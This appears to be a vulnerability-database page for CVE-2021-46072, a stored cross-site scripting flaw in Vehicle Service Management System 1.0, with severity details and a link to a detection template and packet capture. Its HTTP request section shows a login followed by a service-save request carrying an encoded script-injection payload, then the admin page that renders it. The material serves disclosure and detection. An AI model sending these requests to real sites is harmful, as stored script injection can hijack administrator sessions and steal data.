🔙 목록으로 돌아가기

CVE-2021-46072: Vehicle Service Management System 1.0 - Stored Cross Site Scripting

TitleVehicle Service Management System 1.0 - Stored Cross Site Scripting
AuthorTenBird
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to the execution of arbitrary code or theft of sensitive information.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score4.8
EPSS Score0.05674
CVE IDCVE-2021-46072
CWE IDCWE-79
Tags cve2021 cve xss vms authenticated vehicle_service_management_system_project vuln

🔍 Vulnerability Description

Vehicle Service Management System 1.0 contains a stored cross-site scripting vulnerability via the Service List section in login panel.

🌐 HTTP Request

POST /classes/Login.php?f=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

username=kvrekq&password=gwpY7C
POST /classes/Master.php?f=save_service HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Connection: close
Content-Length: 177
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

id=&service=%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&description=%3cp%3e%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e%3cbr%3e%3c%2fp%3e&status=1
GET /admin/?page=maintenance/services HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46072.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-46072.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A